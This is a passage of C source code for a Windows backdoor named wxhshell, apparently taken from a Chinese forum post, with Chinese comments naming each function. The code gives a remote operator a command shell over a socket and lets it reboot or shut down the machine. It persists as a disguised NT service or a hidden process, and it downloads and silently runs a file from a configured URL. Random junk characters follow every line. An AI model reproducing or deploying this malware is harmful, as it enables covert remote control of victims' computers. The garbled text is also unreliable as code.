  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); ZK:dhwer  
  } (NfP2E|B  
  else { (Z:(f~;  
.OhpItn  
    switch(cmd[0]) { TdGda'C  
  ;R[  xo!  
  // 帮助 AI KLJvte  
  case '?': { q5 eyle6  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); m$N` Xj  
    break; Br/qOO:n$}  
  } [/dGOl+  
  // 安装 F`!B!uY  
  case 'i': { ,RmXZnWY  
    if(Install()) Oi#4|*b{W  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); M)v\7a  
    else 5mzOr4*0  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); hxG=g6:G  
    break; tW<i;2 l  
    } }YV,uJH[  
  // 卸载 7# >;iGuz  
  case 'r': { u&4CXv=  
    if(Uninstall()) Q` ?+w+y7  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); EY~b,MIL4  
    else (<M^C>pldf  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); %>,B1nt  
    break; )1CYs4lp  
    } '8%pEl^  
  // 显示 wxhshell 所在路径 $}&r.=J".  
  case 'p': { P9d%80(b4  
    char svExeFile[MAX_PATH]; 6d4e~F  
    strcpy(svExeFile,"\n\r"); sb1Zm*m6  
      strcat(svExeFile,ExeFile); ceiUpWMu,  
        send(wsh,svExeFile,strlen(svExeFile),0); T6/d[SH>  
    break; rbC4/9G\  
    } a#i85su  
  // 重启 ]V*ku%L0  
  case 'b': { >Xz=E0;^Ua  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); 8(AI|"A"-  
    if(Boot(REBOOT)) =J@M, mbHg  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); 3HtLD5%Q  
    else { Z>897>  
    closesocket(wsh); $x5,Oen  
    ExitThread(0); #sHA!@ |  
    } Cx N]fo  
    break; f+ }Rj0A  
    } BIu%A]e"  
  // 关机 t=-t xnlr<  
  case 'd': { KOQiX?'  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); KBUClx?  
    if(Boot(SHUTDOWN)) }JP0q  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); g&79?h4UXQ  
    else { ^[UWG^d  
    closesocket(wsh); {|R@\G.1(  
    ExitThread(0); ';'TCb{f*  
    } KC"#  
    break; !b !C+ \v  
    } \hlQu{q.  
  // 获取shell For`rfR  
  case 's': { k!&G ;6O-  
    CmdShell(wsh); }Q }&3m~g  
    closesocket(wsh); rP5&&Hso  
    ExitThread(0); n;Nr[hI  
    break; rNi]|)-ET  
  } P^lzl:|  
  // 退出 Qkk3>{I  
  case 'x': { |"K<   
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); eT(/D/jan  
    CloseIt(wsh); sIVVF#0}]  
    break; U{ZE|b. ?b  
    } 8fG$><@  
  // 离开 N WSm  
  case 'q': { +hUS sR&  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); .C 6wsmQ  
    closesocket(wsh); \n&l  
    WSACleanup(); sp&s 5aw  
    exit(1); G{ |0}  
    break; n+sV $*wvS  
        } [!g$|   
  } >5O#_?  
  } yLC5S3^1\"  
+#B4Z'nT  
  // 提示信息 `Kt]i5[ "  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); lmsO 6=I4F  
} rXIFCt8J  
  } 6~oo.6bA  
Wzn!BgxRr  
  return; #mK/xbW  
} F6L}n-p5  
p aQ"[w  
// shell模块句柄 `<?{%ja  
int CmdShell(SOCKET sock) Fm{/&U^  
{ o+w G6 9  
STARTUPINFO si; ^(Y}j8sj  
ZeroMemory(&si,sizeof(si)); !1X^lFf;~  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; ,m HQ  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; #"T< mM7  
PROCESS_INFORMATION ProcessInfo; V[Z^Z  
char cmdline[]="cmd"; 1"hd5a  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); ?<*mIf:?  
  return 0; lI)RaiMr=  
} , GU|3  
u%s@B1j  
// 自身启动模式 "mk4O4dF  
int StartFromService(void) n[E#K`gg'  
{ ^xNs^wC.  
typedef struct l%f &vOcd  
{ }C'H@:/  
  DWORD ExitStatus; 9B&fEmgEc?  
  DWORD PebBaseAddress; 3IlflXb  
  DWORD AffinityMask; 1DTA Dh0  
  DWORD BasePriority; [9lfR5=Xw[  
  ULONG UniqueProcessId; 7GFE5>H  
  ULONG InheritedFromUniqueProcessId; cu@i;Hb@  
}   PROCESS_BASIC_INFORMATION; 4Y>J,c  
j "^V?e5  
PROCNTQSIP NtQueryInformationProcess;  gZg5On  
3j h: K   
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; lQq&tz,  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; ,$,c<M  
'G#T 6B!  
  HANDLE             hProcess; K<g<xW*X  
  PROCESS_BASIC_INFORMATION pbi; y$Y*%D^w  
7gx 7NDt  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); 7<Yf  
  if(NULL == hInst ) return 0; e  -yL  
?R MOy$L  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); Jfe<$-$$7  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); q!y6 K*  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); CD"D^\z  
;/79tlwq  
  if (!NtQueryInformationProcess) return 0; ?nwFc3qw  
5j{jbo =!  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); 6!;eJYj,  
  if(!hProcess) return 0; `p'(:W3a  
gx55.}  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; c?/R=/H  
^{m&2l&87  
  CloseHandle(hProcess); K8?]&.!  
]}za  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); gd,3}@@SH  
if(hProcess==NULL) return 0; "B34+fOur  
q-lejVS(g  
HMODULE hMod; #86=[*Dr  
char procName[255]; {: H&2iF  
unsigned long cbNeeded; h@H8oZ[  
s-[v[w'E  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); ~TvKMW6/#  
e%wzcn  
  CloseHandle(hProcess); c*~ /`lG  
g)M"Cx.  
if(strstr(procName,"services")) return 1; // 以服务启动 -H+<81"B#  
V0 O6\)/.  
  return 0; // 注册表启动 }NgevsV>;  
} }QzF.![~z  
WW&ag r  
// 主模块 ~#SLb=K   
int StartWxhshell(LPSTR lpCmdLine) 1I#]OY#>  
{ Q&k1' nT5  
  SOCKET wsl; .I#ss66h  
BOOL val=TRUE; 4b/>ZHFOF;  
  int port=0; U{[ g"_+~  
  struct sockaddr_in door; f$|AU- |<  
L8WYxJ k  
  if(wscfg.ws_autoins) Install(); z,+LPr  
.VG5 / 6zp  
port=atoi(lpCmdLine); N\nxo0sl  
5 >c,#*  
if(port<=0) port=wscfg.ws_port; +f"q^RIU  
Q?xCb  
  WSADATA data; ^Q9;ro*;ck  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; Wq"5-U;:w  
CEXD0+\q  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   0tS < /G8  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); 7ZR0cJw;  
  door.sin_family = AF_INET; kwAL] kI  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); D~T;z pS  
  door.sin_port = htons(port); R[vA%G  
uozK'L  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { A1p87o>  
closesocket(wsl); ]; Z[V  
return 1; HD~o]l=H  
} g)`;m%DG6  
`iZ){JfAH  
  if(listen(wsl,2) == INVALID_SOCKET) { @lhjO>@#I  
closesocket(wsl); VNT*@^O_=  
return 1; :v Do{My^1  
} \NF5)]:  
  Wxhshell(wsl); 0Bn35.K  
  WSACleanup(); *m6h(8(7Z  
bD:[r))#e  
return 0; <nk7vo?Ks  
|)[I$]L  
} !eP)"YWI3  
I ]HP  
// 以NT服务方式启动 8:gUo8  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) N?j#=b+D  
{ oU)Hco"_k  
DWORD   status = 0;  sg9  
  DWORD   specificError = 0xfffffff; 6^VPRp  
={G0p=~+,p  
  serviceStatus.dwServiceType     = SERVICE_WIN32; -PiakX  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; !lxq,Whr{  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; DcRvZH  
  serviceStatus.dwWin32ExitCode     = 0; von<I  
  serviceStatus.dwServiceSpecificExitCode = 0; khQ@DwO*\=  
  serviceStatus.dwCheckPoint       = 0; ,p)Qu%'  
  serviceStatus.dwWaitHint       = 0; _uq[D`=  
)N3XbbV  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); |7)oX  
  if (hServiceStatusHandle==0) return; 4o3TW#  
60--6n  
status = GetLastError(); $i|d=D&t  
  if (status!=NO_ERROR) dGG8k&  
{ "L&84^lmf  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; %?m_;iv  
    serviceStatus.dwCheckPoint       = 0; .r~M7 I  
    serviceStatus.dwWaitHint       = 0; HAmAmEc,  
    serviceStatus.dwWin32ExitCode     = status; t_kRYdW9  
    serviceStatus.dwServiceSpecificExitCode = specificError; ^ ^T xx  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); c|s7 cG$+-  
    return; !6FO[^h||H  
  } cq"#[y$r  
/N7.|XI.  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; T!X`"rI  
  serviceStatus.dwCheckPoint       = 0; k"F\4M  
  serviceStatus.dwWaitHint       = 0; c>%%'c  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); @kWRI*m  
} YB]{gm2  
Mhu|S)hn  
// 处理NT服务事件,比如:启动、停止 |ngv{g  
VOID WINAPI NTServiceHandler(DWORD fdwControl) jidRh}>a=  
{ ^4Tf6Fw#  
switch(fdwControl) x5R|,bY  
{ 4SJb\R)XK  
case SERVICE_CONTROL_STOP: Pos(`ys;  
  serviceStatus.dwWin32ExitCode = 0; ,t +sw4  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; zALtG<_t  
  serviceStatus.dwCheckPoint   = 0; ihd^P]  
  serviceStatus.dwWaitHint     = 0; c0Yc~&RF  
  { LnPG+<  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); }"M5"?  
  } p^)w$UL}}  
  return; e=`=7H4P  
case SERVICE_CONTROL_PAUSE: ^&KpvQNW_  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; d}<-G.&_  
  break; r"!xI  
case SERVICE_CONTROL_CONTINUE: $]gflAe2  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; elz0t<V  
  break; y I}>  
case SERVICE_CONTROL_INTERROGATE: H'}6Mw%ra  
  break; O=}d:yZb!  
}; '7 t:.88  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); NUFW SL>  
} 6&o?#l;|  
*tfD^nctO  
// 标准应用程序主函数 W<:x4gBa  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) 7Y5.GW\^  
{ $r)NL  
1E=E ?$9sg  
// 获取操作系统版本 KNjU!Z/4  
OsIsNt=GetOsVer(); dF><XZph  
GetModuleFileName(NULL,ExeFile,MAX_PATH); wz>[CXpi_  
iKu4s  
  // 从命令行安装 Vwb_$Yi+]  
  if(strpbrk(lpCmdLine,"iI")) Install(); VniU:A  
+F*h\4ry#  
  // 下载执行文件 #gVWLm<  
if(wscfg.ws_downexe) { Z1_F)5pn  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) 0:JNkXZ:  
  WinExec(wscfg.ws_filenam,SW_HIDE); _& r19pY  
} ]QGo(+  
B!U;a=ia  
if(!OsIsNt) { f)mOeD*u|  
// 如果时win9x,隐藏进程并且设置为注册表启动 tX6_n%/L  
HideProc(); Pn l}<i  
StartWxhshell(lpCmdLine); Yl =-j  
} ,(&Fb~r]  
else 3taGb>15  
  if(StartFromService()) 4s@Tn>%SP  
  // 以服务方式启动 frc9   
  StartServiceCtrlDispatcher(DispatchTable); WF:4p]0~)  
else +S WtHj7e  
  // 普通方式启动 Bg}l$?S  
  StartWxhshell(lpCmdLine); FY`t7_Y?GV  
Ze <)B *  
return 0; zB/VS_^^W:  
}
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只看该作者 1 发表于: 2006-10-10
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